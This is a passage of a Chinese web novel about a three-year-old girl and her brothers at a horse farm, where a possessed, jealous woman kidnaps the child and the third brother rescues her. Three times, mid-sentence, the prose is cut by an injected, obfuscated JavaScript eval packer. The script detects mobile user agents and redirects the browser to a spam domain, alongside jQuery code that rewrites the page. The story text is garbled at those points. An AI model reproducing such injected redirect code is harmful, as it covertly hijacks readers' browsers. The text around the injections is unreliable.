黎墨郢和祁山分头行动，几乎将整个黎家都查探了一遍。 发现除了上空飘着邪气，并没有别的异常，便暂时先回了院子里。 黎墨郢发现屋里的灯开着，两只狗都站在他的门口，就知道是小婉婉醒了。 “三哥哥。” 随着他进门，小奶团子穿着睡衣，抱住了他的大腿。 “哼，三哥哥偷偷跑出去玩，不带我。” “谁偷跑出去玩？我上卫生间。”黎墨郢把气鼓鼓的小家伙抱起来，放在床上。 看了眼时间，发现此时才夜里两点钟，他温柔的摸了摸小家伙的额头，轻声的哄：“睡觉吧，比赛看谁先睡着。” “那我一定不会输的。”小婉婉说着，把脸拱进了枕头里。 没一会儿的工夫，枕边便传来均匀的呼吸声。 黎墨郢则在她睡着后不久，也闭上了眼睛。 …… 次日，便是假期。 小婉婉睁开眼睛，就听见院子里的说话声。 待辨认出是谁后，她雀跃的从床上爬起来，穿着小拖鞋跑了出去。 “大哥哥！” 刚睡醒的小奶团，头上的两只小揪揪都炸成了一朵花儿，不过这并不影响她的可爱。 黎墨城最近都在忙碌与劳伦斯家族合作的项目，几乎没什么时间来探望婉婉。 特意挑着她的休息日，他也请了一天假，完成之前的约定。 “去收拾一下，吃完早饭，我们一起去马场。” 小婉婉一听说可以去马场，乐得举起两只小手欢呼：“太好喽，可以去找小黑玩。” 她欢喜的跟着刘妈去洗漱，王妈将食物呈上餐桌，过来告诉他们可以开饭。 饭后。 黎墨城和黎墨郢一人拉着小婉婉的一只手，开开心心的出了门。 司机早早就把车停放在空地上，黎墨城让黎墨郢抱着婉婉坐在后面，他则走向驾驶室，一打开车门，却见到一个意想不到中的人，正坐在副驾驶的位置。 “哈喽，城！” 是宅妮弗·劳伦斯。 她穿着一身剪裁极佳的经典黑色骑马装，贴身的上衣勾勒出柔韧的腰背线条，白色立领衬衫的纽扣一丝不苟地系到领口，颈间优雅地打着简单的黑色丝绒缎带。 金发碧眼，在见到黎墨城的瞬间，绽开的笑容娇羞而又俏皮。 “你怎么在这里？”黎墨城大感意外。 宅妮弗歪了歪头。 “我是来探望宋阿姨，她挽留我在你家里做客，刚才我去你院子找你，正好碰见司机备车，说你要去马场。正好，我也好久没有骑马，所以搭个顺风车，你不会介意吧？” 黎墨城虽然拒绝了她的表白，但两人毕竟曾经做过同学，又念在两家的合作关系，自然不能将她赶下去。 至于她口中说是母亲留她做客，多半只是客气，她当真留了下来…… 黎墨城心头无奈，没再接话。 坐进驾驶室，他叮嘱黎墨郢照顾好小婉婉。 随着车子开出了一段距离，临近宋淼淼的院子，黎墨羽肩上扛着一只背包，对车身招了招手。 黎墨城将车停下，黎墨羽一路小跑，打开副驾驶车门，见到上面坐着人，他愣了一下。 然后才开口商量：“大哥，你们今天去马场，能带我一起吗？我刚好有马术课。” “上车。”黎墨城点头。 黎墨羽恭敬的颔首，关上车门，坐去了后面。 …… 马场上午的阳光正好，草叶上还挂着晶莹的露珠。 小婉婉到马场的第一时间，就直奔小黑的马厩。 “小黑！小黑！”她清脆的嗓音带着抑制不住的兴奋。 黑色的骏马闻声抬头，经过精心的调养，它身上的**色被养得油光水滑，如同上好的锦缎，肌肉线条流畅饱满，眼神温顺而明亮。 在看到小婉婉出现的那一瞬，它的灵性一下被唤醒，亲昵地打了个响鼻，主动将硕大的头颅凑过来，蹭着小丫头伸过来的小手。 “太好了，小黑，我们可以一起玩了。” 饲养员看出黑马也非常渴望被主人骑乘，于是微笑提醒：“小小姐，您可以去换骑马装，我给小黑套上马鞍，稍后供您骑乘。” 小婉婉立刻点头，拉起黎墨郢的手：“三哥哥，走，快点换衣服。” 黎墨郢陪她去了更衣室，由于骑马装比较紧，小婉婉自己穿不上，便在黎墨郢的更衣室外等他。 待他打开门，小婉婉拎着小裤子，向他求救。 “三哥哥，裤裤穿不上。” 黎墨郢蹲下，耐心的帮她把衣服穿整齐，最后，还给她搭配了一套防护装备，这么一看起来，俨然就是一个小小的骑士，还挺像那么回事的。 “走。”黎墨郢牵着她的小手。 回到马厩，饲养员询问黎墨郢是否要将他的马牵出来，被黎墨郢拒绝。 他缓步走向小黑，刚刚抬起手，就察觉到了骏马对他的抗拒，双脚刨地发出警告。 他便转动指尖，将一丝灵力注入到了马的耳部。 “它太小，我必须跟她一起。” 他的口吻是命令，并非商量。 却见，刚才还对他满是抗拒的黑马，在听到他的命令后，竟然点了点头。 随即他将小婉婉扶上马背，他轻盈的身姿一跃，也跟着翻身上马。 一旁的饲养员见状，再一次受到震撼。 黎墨郢在他眼里也就是十三岁的孩子而已，竟然也能轻松将烈马驯服。 他都要怀疑，自己的专业水平到底够不够了…… “三少爷，这匹马性子烈，您一定跟小小姐坐稳，别跑太快。” “知道。” 黎墨郢勒着缰绳，一声：“驾”！ 黑马便温顺的迈开脚步，步伐平稳的跑出了马厩。 另一边。 黎墨城也换上了骑马装，由于风蝶体内的毒素还未全部清除，他今天骑了另外一匹马，站在草场里面等着。 见到黎墨郢竟然也被黑马接受，他的眼睛里闪过惊讶。 不过马上，他就笑了起来。 “臭小子，你本事越来越见长了？” 黎墨郢对大哥勾了勾唇角，与他弧度相似的凤眸透着几分得意。 “自幼阿爷就夸我，将来定超过你们。” 马蹄踏在柔软的草场上，发出富有节奏的嗒嗒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434717|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，是黎墨羽骑着一匹白马，技巧不太娴熟的跑起来。 负责他安全的训马师一路在后面狂奔，提醒他调整姿势，避免**。 映着生机勃勃的阳光，容貌艳丽的西方女子灵活驾驭马匹，绕着草场跑了一圈。 宅妮弗勒紧缰绳，“吁”了一声，在黎墨城附近停下来。 她脸上挂着畅快的笑：“城，我们来比赛，输的人今天请对方吃饭？” 黎墨城并没心情跟她比赛，或者说，没心情响应她的‘约会’。 “我要照顾弟弟妹妹安全，抱歉，失陪了。” 黎墨城望着前面慢走的黑色骏马，一声“驾”，与宅妮弗拉开距离。 宅妮弗挂着笑意的脸上，忽然覆盖上了一层灰白，她死死的勒住缰绳，用力挥舞马鞭。 马儿吃痛，发出一声嘶鸣后，四条腿狂奔在草场。 宅妮弗一口气跑了几圈，难以舒散心口的郁闷，她的目光总是有意无意的落向草场，那道挺拔而成熟的背影。 正当她准备将这圈跑完，去与黎墨城并驾齐驱，再次寻找机会的时候。 她的目光里，准确的捕捉到了黎墨城脸上的温柔。 ——那是她从来都没有见过的，完全陌生的表情。 宅妮弗一时忘记了自己在做什么，满眼都是他春风拂面般的笑容，仿佛全世界的颜色都褪去了。 当她顺着他的目光看去，正是落给马上的两个孩子。 确切的说，是那个穿着白色骑马装，只有一丁点儿大的小奶娃娃！ 一股酸涩又尖锐的嫉妒瞬间冲垮了她的理智！ 宅妮弗明知道自己不该跟一个小孩子吃醋，可她根本就控制不住，内心燃烧着的一团火。 她美眸中闪过一丝阴鸷，猛地一夹马腹，驾驭着坐下枣红马加速，故意从小黑马身边极近的距离擦过！ 在交错而过的瞬间，她握着马鞭的手看似无意地扬起。 “啪！” 一声清脆却并不响亮的抽打声掠过。 枣红色的红马再次加快了速度，同时黎墨郢和小婉婉身下的黑马，扬起了头，发出不满的嘶鸣。 宅妮弗听见黑马的躁动，以为自己得逞，眼角的余光回头看。 却见那匹黑马仅仅是不满的晃了晃头，依旧沉稳的走在草坪上，而坐在马背上的少年，则眸光犀利的凝视着她。 宅妮弗忽然感到心虚，一个不注意，没有看路。 当她反应过来时，她身下的枣红色黑马刚好擦过另一匹白马，她连忙勒紧缰绳，并稳住身形。 这可就害惨了另外一匹马背上的人。 黎墨羽的骑马技术本就不精，加上身下的马受到惊吓后，疯狂的颠簸，害得他直接从马背上滚了下去。 “阿羽！” 黎墨城发现这边出了状况立刻策马而来，但是他们的距离实在太远了。 只能眼睁睁的看着黎墨羽摔到马下。 好在，白马跑的速度并不快，驯马师也一直在后面保护，在黎墨羽摔下去后，用前扑护住了他的头部，带着他翻滚了两周便停在草坪。 黎墨城连忙下马查看情况。 “阿羽，你怎么样？” 第115章 好多好多虫虫（一更） 黎墨羽听到黎墨城的声音，在驯马师的怀里，惊魂未定的摇了摇头。 “大哥，我没事。” “对不起，城，我不是故意的，我刚刚……大意了。” 宅妮弗惊慌的下马，一路小跑过来，说到她刚才大意的原因，心虚和羞愧让她的面色窘得通红。 黎墨城并没有多看她一眼，而是将黎墨羽扶起来后，亲自带他去医务室，做一遍检查。 “城！” 宅妮弗看向少年和小孩子骑的那匹黑马，承受不了心虚带来的煎熬，只能硬着头皮跟在后面，不停的道歉。 “城，是我错了，请你别生我的气……” 黎墨郢直到看不见他们的背影，才将目光收回来。 低头看去，怀里的小家伙正用手抚摸小下巴，时不时的还皱一皱小眉毛。 “在想什么，刚才被吓着了？” 小婉婉仰起头，奶呼呼的问道：“三哥哥，精灵姐姐刚才，是故意打小黑屁屁的吗？” “你觉得呢？” 黎墨郢挑眉。 小婉婉把小脸蛋儿鼓成包子。 虽然她只有三岁，但她可一点都不笨，相反，早前在内陆家里的生活，让她懂得察言观色。 她通过大家看自己的眼神，判断出善意或恶意。 “三哥哥，不骑了，看看六哥哥。” 小婉婉并不是喜欢为难自己的孩子，想不通的事情就不想了。 两个人把小黑送回了马厩，直接去了医务室。 马场的医疗团队都是专业应对类似事故设立的，加上当时驯马师及时救人，检查过黎墨羽的骨骼没有损坏，便简单帮他处理了擦伤。 “六哥哥，婉婉给你呼呼就不痛了。” 小婉婉跑到黎墨羽面前，隔着一层纱布，在他的额头和膝盖吹了两下。 这一幕被医护人员看在眼里，也仅仅是小孩子寻找心里安慰的幼稚举动。 只有黎墨羽自己能感觉到，在被小婉婉呼呼过的额头和膝盖的痛感骤然消失了，像是，完全没有受伤。 他完全愣在了原地，只有九岁且一直接受先进教育的他，根本不敢相信，小婉婉真的有这么神奇！ 这时，一只大手温柔的落在他的肩膀。 黎墨羽转头，对上黎墨城平缓的眸子，似暗示，也似提醒。 “既然没事了，我们走吧。” 黎墨羽心中讶然！ 大哥竟然知道一切！ 他怎么忘了，当初就是因为小婉婉，大哥才避开了帮派内斗。 也是从那件事以后，母亲就告诉他，无论如何，要跟小婉婉搞好关系。 黎墨羽其实一直不相信年仅三岁的孩子，有这种神乎其神的力量，更倾向于，是大哥运气好。 所以他从来都只是按照母亲的要求，尽量把六个的角色做好。 毕竟在自己上面，还有那么多哥哥喜欢她，争抢着和她一起玩…… 黎墨羽无法描述自己此刻的心情，只是随着众人的脚步，来到了马场的休息区域。 太阳伞遮住了天上热烈的太阳，黎墨羽的面前，凭空多了一杯果汁。 他本能的抬起头，看见宅妮弗带着歉意的面孔。 “男孩，这杯是我请你的，刚才真是对不起。” 黎墨羽面对她的道歉，只是微微颔首。 他不是没礼貌的孩子，哪怕并不喜欢害自己受伤的人，也没有说指责的话。 他轻轻的避开了那杯果汁，看向走来的黎墨城，“大哥，我忘记带钱了，想吃冰淇淋，您能不能帮我买一个？” 黎墨城看了眼他腿上的伤口，让他在原地坐着等，自己去给他买冰淇淋。 黎墨羽点了点头，望着黎墨城高大的背影，心中流淌着丝丝暖流。 黎墨城去给黎墨羽买冰淇淋的时候，作为大哥的他一视同仁，给黎墨郢和小婉婉也各自要了一支。 就在他准备掏钱包时，旁边插了一道甜美的女声：“这个算我请客，挂在我账上。” 黎墨城过转头，对上一双明媚大眼。 她穿着一身棕色骑马装，头发高高的梳成马尾，未施粉黛的脸泛着健康的红晕，仿佛熟透了的水蜜桃，琥珀色的双眸，对黎墨城俏皮的眨了几下。 “你也来了。”黎墨城平和的跟她打招呼。 向美琳作为能够跟黎家齐驱并列的向家嫡女，除了和他自幼就相识。 还跟黎墨城从幼儿园就是同学，直到高中毕业，两个人各自去往心仪的学校就读。 同时，她喜欢黎墨城，也是港城富贵圈里，众所周知的事。 向美琳不止一次公然对黎墨城表白，还放出豪言壮志，这辈子非他不嫁。 哪怕黎墨城一直强调，他只是把她当成妹妹而已。 “你好不容易才来一次，我当然得来！”向美琳娇嗔的在他肩膀锤下去。 转而东张西望，好奇的问：“我听说你把你那个最小的妹妹带来了？她在哪儿？怎么没见？” 她之所以对黎墨城这么大胆，也是因为，她有足够厚的脸皮。 加上她和黎墨城这么多年交情了，就算不喜欢，也不会像对其他人那样拒之千里。 是以向美琳心中认定了一件事：她只表白，不缠人，那么在黎墨城这里，自己就永远和别人不同。 …… “六哥哥，看，这是什么。” 伴随着奶声奶气的呼唤，小婉婉穿着精致的骑马装，欢快的跑了过来。 等到了近前，她慢慢地把手捧到眼前，极小极小地张开一条缝，五颜六色的蝴蝶，在她小手里煽动羽翼。 “是我抓的哦，送给你。” 黎墨羽望着她天真无邪的笑脸，不禁回忆起刚刚在医务室，她为自己治伤的场景。 眼下，她又大方的把抓到的蝴蝶送给自己，让黎墨羽的心底，产生了一种沉甸甸的温柔。 他突然发现，自己也开始喜欢小婉婉。 喜欢这个每次见面，都甜甜的喊‘哥哥’，像开心果一样逗自己开心的小妹妹。 “六哥，不要，看看你都出汗了，坐下歇一会。” 黎墨羽将小婉婉抱到身边坐下，随即看向空无一人的身后。 “三哥呢？怎么没跟你一起。” 小婉婉答道：“三哥哥去找大哥哥，很快就回来。” 于是，黎墨羽自然而然的担当起了照顾妹妹的责任，他还是第一次跟小婉婉亲近。 越相处，他越能看见小婉婉身上，其他小孩子没有的闪光点。 比如她不会随便对别人提要求，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434718|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会娇滴滴的，娇宠自己，以自我为中心。 而是懂得照顾别人的感受，完全颠覆了黎墨羽心中，对小孩子的定义。 “小妹，你知道蝴蝶是怎么来的吗？” “不知道。”小婉婉懵懂的摇了摇头。 黎墨羽便开始给她讲解，蝴蝶蜕变的过程。 “它最开始，是一颗比米粒还小的卵，悄悄藏在叶子上。”他弯腰捡起一片草叶，指尖轻轻在上面点了点。 “然后卵里会钻出一条小小的**毛虫，它可贪吃了，整天不停地吃叶子，慢慢长大。” 黎墨羽一边讲，一边用手比画得有声有色。 “等它长够了，就会变成一个蛹，就像给自己造了一座小小房子，躲在里面睡好久好久的觉。” “然后呢？”小婉婉听得入了神。 黎墨羽微笑着，看向她手心里颤动着翅膀的蝴蝶：“等它在蛹里悄悄把翅膀长好了，就会推开小门飞出来——变成了现在这样，能飞到任何它想去的地方。” “我懂了，所以蝴蝶是虫虫变的！”小婉婉立刻就针对他的讲述做出总结。 黎墨羽抚摸她的头称赞：“对，婉婉真聪明。” “可是六哥哥……”小婉婉眼睛里的好奇并没有消失，而是看向另一只遮阳伞。 眨巴大眼睛：“不是所有虫虫都能变成蝴蝶哦，精灵姐姐的虫虫就不会。” “精灵姐姐？”黎墨羽不明白她在说什么。 小婉婉知道用手指别人不礼貌，只用小嘴儿来说：“就是那个金色头发，蓝眼睛的漂亮姐姐，她的虫虫就不会变蝴蝶。” “她……有虫？”黎墨羽瞪圆了眼。 小婉婉点了点头，老气横秋的叹了口气。 “精灵姐姐肚肚里有好多虫虫，我看得见。” 黎墨羽：“……” 他亲身体感受过小婉婉的神奇，并不怀疑她的话。 只是，也没有往更深层次去联想。 只以为小婉婉说的是，宅妮弗肚子里有很多寄生虫，那自然变不了蝴蝶。 黎墨羽脑海不由浮现某些画面，这下对宅妮弗除了不喜欢，还感到一阵恶寒。 …… 黎墨城遇到了向美琳，被她拉着说话，耽搁了一些时间，才姗姗来迟的带着冰淇淋回来。 而就在他身后，向美琳在看到小婉婉的瞬间，双眼就像是被磁石给吸住了。 她直接挤开了黎墨城，跑到小婉婉的正前方，对她伸出‘罪恶之手’，捏住她肉乎乎的小脸蛋儿。 “哇！阿城，这就是你常提起的妹妹吗？简直太可爱了，就像一个洋娃娃。天啊！我好喜欢！” 向美琳自顾自的说着，站着摸小团子还不够，她干脆一屁股坐下来，捧着小婉婉的脸，跟她玩起了顶额头的互动。 “我是一只老牛，哞——” 等到小婉婉反应过来，面前的大姐姐正在和自己玩闹，她由一开始的错愕，到兴奋，发出“咯咯咯”的笑声。 也学着她的动作，发出“哞——”的声音。 直到，向美琳玩够了，正准备说让黎墨城将小丫头借给她带几天。 结果一抬头，就看见小婉婉身旁的黎家三兄弟，齐刷刷的黑着脸！ 向美琳：“……” 第116章 黎墨城的青梅竹马（二更） “城，这位是？” 宅妮弗见黎墨城的身边出现别的女人，立刻就像是自己的领地被冒犯了一样，直接走了过来。 向美琳见她走来，心中同样升起危险的预警。 当她发现宅妮弗准备挽黎墨城的手臂，她抢先一步，绕过桌子，直接将手臂搭在黎墨城的肩膀，宣誓**。 “我是向美琳，和阿城从小一起长大，从幼儿园到高中，算是……青梅竹马，对吧？” 说着，向美琳的手臂无声用力，警告黎墨城不准出声。 同时她脸上绽开无懈可击的、甚至带着几分亲切的笑容，主动伸出手。 “想必您就是大名鼎鼎的宅妮弗·劳伦斯小姐？听闻您来港许久了，初次见面，请多关照。” 宅妮弗脸上的笑容逐渐僵硬，并没有和她握手。 而是目光定定的看着，她与黎墨城亲昵的姿态，妒火熊熊燃烧。 但她心里清楚，她并不是黎墨城的女朋友，只是从小一起长大的关系，让他们看起来更熟悉而已。 宅妮弗是大学才和黎墨城认识，而且只做了两年同学，毕业后几乎没有往来，只有宅妮弗在节日单方面给他发e-maile，不知道他是没看见，还是不想回。 宅妮弗内心挫败，但她并不想放弃。 她故意忽略掉向美琳的存在，笑着对黎墨城说：“城，正好到了用餐时间，我听说马场里就有一家法国餐厅，我们大家一起过去尝尝？我请客。” 黎墨城正要拒绝，旁边的向美琳直接替他做了主。 “好啊！劳伦斯小姐盛情难却，那就一起去吧！阿城，正好我们也好久没一起吃饭了，趁今天聚聚？” 她笑容艳艳的看着黎墨城，对他眨了眨眼睛。 实际上，借着挽他手臂的动作，另一只手用力怼他的后腰。 眼神不断暗示，让他给自己一点面子。 黎墨城瞥了一眼向美琳，知道她心里打着什么小算盘。 无非就是想要找机会击退情敌，刚好黎墨城也想劳伦斯能够早日放手，便轻轻颔首。 “好吧。” 而在劳伦斯看来，两个人互相使眼色的小动作，完全应和了她幻想出黎墨城谈恋爱的画面，心中的火苗蹭蹭往上冒。 …… 一行人来到马场内的法国餐厅。 围绕着长长的餐桌，黎墨城自然落座到主位，随即他将右手边的位置给了小婉婉，让她坐在他和黎墨郢中间，方便照顾她用餐。 后进来的黎墨羽正好走到黎墨城另一侧的空位，刚要落座。 “哎呀，这个位置视野真好，还能照顾婉婉。”向美琳清脆带笑的声音传来，流畅又迅速的霸占了座椅。 她对黎墨羽挤了挤眼睛：“小老六，坐你三哥那边儿。” 黎墨羽嘴角抽了抽，虽然他年纪小，但是不跟女孩子计较，默默的坐在黎墨郢旁边。 宅妮弗刚才与餐厅经理沟通包厢事宜，来迟了一步，进门发现，黎墨城的左右两边都被占据，脸瞬间沉了下来。 她深吸一口气，强压下怒火，走到向美琳身后，脸上挤出一个公式化的笑容，语气却很强势。 “向小姐，不好意思，我和城有些紧急的公事需要边吃边谈，可能涉及我们两家的机密。能否请你行个方便，换个位置？” 这话一出，桌面上都安静了一瞬。 黎墨城抬眼看了看宅妮弗，眉头微蹙，哪怕明知道宅妮弗是故意找借口，也无法当众戳破。 至于黎墨郢和黎墨羽，则事不关己地垂眸看着菜单，小婉婉眨着大眼睛，不明所以地看着哥哥姐姐们。 向美琳脸上的笑容不变，但捏着菜单的手指微微收紧，指节有些发白。 真是！ 谁不知道宅妮弗就是个草包，从来不参与家族生意。 这会儿倒是装得很像！ 纵然向家和劳伦斯家族没有交集，但向美琳却不能不为黎墨城着想。 她脸上露出恍然大悟，又带着几分嫌弃的笑容。 “哎呀，那正好，我也不大受得了洋人身上的味道，这个位置就让给你吧，我去小老六那边坐！” 向美琳心里也憋着一股火，座位可以让，嘴上却不肯饶人。 向美琳从容不迫地走到黎墨羽旁边的空位坐下，应和着她嫌弃‘洋人味’的话，故意抽出了一张餐巾纸，把鼻孔堵上。 宅妮弗顺利得到了黎墨城身边的位置，不与向美琳计较，拿起菜单，温声询问黎墨城需要点什么。 “美琳姐。”黎墨羽拽了拽向美琳的袖口。 向美琳转头，对上少年不解的目光。 “怎么了？” 黎墨羽声音压得很低很低，问出心里的疑惑：“你为什么可以闻出洋人的味道？我就闻不见。” 向美琳‘噗’的一声笑了。 像是为了故意气人，用正常的声音回答：“洋人的味道就是生肉的味道，他们吃牛排，喜欢吃三分熟，是不是很野蛮？” 黎墨羽：“……” 美琳姐怎么当众说出来了？ 好尴尬。 彼时，对面正好响应着向美琳的话，宅妮弗刚点了一份三分熟的牛排，因为她的注意力全都在黎墨城身上，努力跟他寻找话题，并没有听见向美琳说了什么。 黎墨羽尴尬褪去，忽然想起什么。 喃喃自语：“怪不得……原来如此。” “什么原来如此？”向美琳纳闷，他在嘀咕什么。 黎墨羽说出自己通过判断，悟出了一个道理：“不能吃生牛肉，会感染寄生虫。” 向美琳听后，突然“哈哈哈”的大笑。 这次，终于吸引了宅妮弗的注意，向美琳却并不看她，大声的附和黎墨羽，趁机恶心她一通。 “没错，如果吃了不干净的生牛肉，肚子里就会有好多好多寄生虫，它们不光吃掉你胃里的食物，还会一直长，一直长……长到比你身高还长！” “美琳姐你别说了，好恶心。”黎墨羽鸡皮疙瘩起了一身。 还有旁边的小婉婉，也跟着做出恐惧的表情。 “我不吃肉肉，不长虫虫，虫虫不吃我的肉肉……” 黎墨郢黑脸，一把捂住她的小嘴儿，不许她再啰嗦。 旁边的黎墨城同样皱眉，轻轻的用手抵住嘴唇，压住心里的不适。 而整张桌子上，表情最难堪，反应最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434719|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的人当属宅妮弗。 她脸上挂不住的笑容，宛若脆弱的石膏面具，骤然裂开，瞳孔在极短的瞬间猛地收缩，映照出难以置信的惊怒。 “我们吃的牛排都是精挑细选的，不会有寄生虫。”她硬邦邦的反驳。 向美琳坏坏的勾起唇角，继续气人。 “虽然如此，但我还是建议劳伦斯小姐，定期去医院做个检查，就像我们花国有句话：人在河边走，哪有不湿鞋？” “美琳。”黎墨城出声制止，用眼神警告她不要过分。 免得真的惹怒了宅妮弗，遭到她的报复。 向美琳在黎墨城的警告里，适时收声。 宅妮弗看似不再计较，实际上在桌子下面，保养得宜的手指微微颤抖，几乎用尽了全身力气，才扯动嘴角。 她脸上的笑容极其勉强、甚至有些扭曲，肢体动作也随着适应生为她呈上食物，显得僵硬无比，透着提线木偶般的顿感。 “三哥哥，我手手忘记洗了。”小婉婉突然想起吃饭前要洗手，告诉黎墨郢。 黎墨郢准备起身带她去，一直想要跟小婉婉亲近的向美琳主动起身。 “洗手池在女洗手间，你们男生不方便，我带她去吧。” “一起走，我也洗手。”黎墨郢刚才还拉过小家伙的手，得知她没洗干净，顿时洁癖发作，要去重新洗手。 在包厢门关上的瞬间，一直看着餐盘里的牛排，迟迟没有动作的宅妮弗，猛地弯腰，干呕了起来。 “宅妮弗，你还好吗？”黎墨城连忙起身询问。 宅妮弗始终保持着弯腰呕吐的动作，却什么东西都没有吐出来。 半晌，她直起腰来，双眼空洞的看着黎墨城：“抱歉，我去洗手间。” 宅妮弗说完就起身跑了出去。 黎墨城刚看到她的眼睛，不知为什么，内心隐隐浮现一丝不安。 …… 洗手间内，水声哗哗。 向美琳细心地帮小婉婉卷起袖子，涂上香喷喷的泡沫，揉搓着她白白嫩嫩的小手。 笑着逗她：“这小手肉乎乎的，看起来就好吃，让我咬一口。” “不要，咯咯咯。”小婉婉嬉闹着闪躲。 洗手间的门被打开。 宅妮弗面无表情的走了进来，她湛蓝色的瞳孔就像定格了一样，无声无息的来到二人身后。 当向美琳从镜子的反光中，看到宅妮弗的脸，正要回头时—— 没有一丝预警！ 宅妮弗用木棍敲击她的后颈，在一阵强烈的晕眩感中，向美琳身体一软，倒了下去。 “美琳姐姐！”小婉婉惊呆了，小脸也被突然发生的意外吓得苍白。 她刚要过去查看，宅妮弗用冰冷的手捂住她的嘴。 紧接着，她抱起小婉婉，没有丝毫犹豫，纵身跳出窗口，以一种超越了常人极限的速度，朝着草场最深处奔去。 到了无人的角落，小婉婉被甩到了地上。 她仰着小脸儿，看着金发碧眼的宅妮弗，浑身都被数不清的恶灵虫包裹，如同一具没有灵魂的躯壳。 她缓缓从怀里掏出一把**，一边弯腰，一边自言自语：“凤血，取凤血……” 第117章 左右为难（一更） 男洗手间内。 一阵阴风刮过后背，黎墨郢仔细洗手的动作停滞。 他拔腿返回到了包厢！ 包厢里，只有黎墨城和黎墨羽等在餐桌前。 “美琳姐和婉婉还没回来？”黎墨郢眯了眯眼，刚要问宅妮弗·劳伦斯怎么不在这里。 餐厅的经理脸色惊慌的跑了过来：“不好了三位少爷，跟你们一起来的那位女士，不知为何在洗手间晕倒了！” “只有一位女士，另外两个人呢？一个大人和一个孩子。”黎墨城下意识以为，晕倒的人是宅妮弗。 经理摇了摇头，眼神迷茫：“我们没发现您说的另外一位女士和孩子……” 音落，黎墨郢心有所感，目光落向远处的草场，转身跑了出去。 黎墨城则让经理开路，去洗手间查看情况。 随着洗手间的门被打开，他看见晕倒在地上的人竟然是向美琳。 宅妮弗和婉婉都不见了！ 黎墨城迅速将向美琳抱起来，试图将她唤醒，却感觉到她后脑部位泛起潮湿。 一摸，指尖上都是鲜血。 “美琳，美琳……我带她去医务室，阿羽，你在这里待着别乱跑！” …… “凤血，取凤血，把你的血给我！” 宅妮弗手里握着**，四肢僵硬的不断逼近。 小婉婉只是一个三岁的小孩子，遇到坏人要伤害她，也会产生恐惧。 小小的身体颤抖着，宅妮弗每向前一步，她不断的向后跑，可是她的腿实在是太短了，就算跑的再快，还是会被追上。 直到，她的衣领被抓走。 小婉婉苍白的小脸儿挂着泪珠，却不像别的孩子那样哭得歇斯底里，只安静的流泪。 “精灵姐姐，不要！婉婉痛。” “凤血，给我凤血！”宅妮弗扬起了**。 就在她准备向小婉婉胸口刺下去的瞬间—— 一道黑色的身影凭空出现在草场入口，他目次欲裂的看着那把闪烁着银光的**，全身的血液逆流，无形的黑气化作龙影，将他全身覆盖。 足尖猛地一点，半空中掠过一道模糊的黑色残影，以一种近乎闪现的速度，直扑宅妮弗和小婉婉所在之处！ 与此同时，另一道黑色的闪电也从侧面狂飙而至。黑色的骏马踏着铁蹄，鬃**飞扬，四蹄翻腾，将草皮狠狠刨起，以不顾一切的疯狂速度冲来。 电光石火之间！ 小婉婉被提起来的身体被一双有力的手臂接住，禁锢在了温暖结实的胸口。 “唏律律。” 黑马发出一声愤怒的嘶鸣，巨大的身躯人立而起，两只碗口大的前蹄，裹胁着千钧之力，如同重锤一般，毫不留情地狠狠踏下！ 沉重的闷响伴随着骨头碎裂的细微声音响起。 “啊……” 宅妮弗发出一声短促而痛苦的闷哼，眼中那空洞的邪光瞬间消散，取而代之的是极致的痛苦和茫然，她口中猛地喷出一口鲜血，整个人如同断线的风筝般，远远的飞了出去。 “三哥哥！”小婉婉抬头看着黎墨郢。 刚从危险之中脱离出来的她，根本顾不上害怕，因为此刻的黎墨郢浑身散发着阴冷的煞气。 凤眸赤红，死死的盯着躺在地上的宅妮弗。 且他还抬起了右手，金色的辉光夹带着暗黑色的煞气，阴阳交替，形成了巨大的能量球，引发天空出现异象。 “三哥哥，三哥哥！三哥哥……”小婉婉紧紧的抱住黎墨郢，带着哭音的呼唤，一遍又一遍。 终于，少年的双眸恢复清明的神色。 脸颊黑色的暗麟逐渐被皮肤吸收，能量球也在他手中随风而散。 黎墨郢俊脸铁青，抱着婉婉起身，确定她安然无恙之后，将她按在心口。 小婉婉贴着他的胸腔，感受到他剧烈而有力的心跳，吸了吸鼻子，释放出了内心的恐惧。 “三哥哥，哇……我好害怕，呜呜呜。” “不怕，我在。”小家伙委屈的哭声，宛若一根根细密的针尖，刺在他的心口。 黎墨郢看着躺在地上的宅妮弗，已经被黑马踢得只剩下半条命。 冷冷的收回眼睛，完全不想管她死活，径直骑上黑马离开。 …… 幽暗的密室内，仅有一盏油灯摇曳着昏黄的光晕，将墙壁上扭曲的阴影拉得忽长忽短。 身穿暗红色长袍的男人，在灯影的摇晃中，睁开了眼睛。 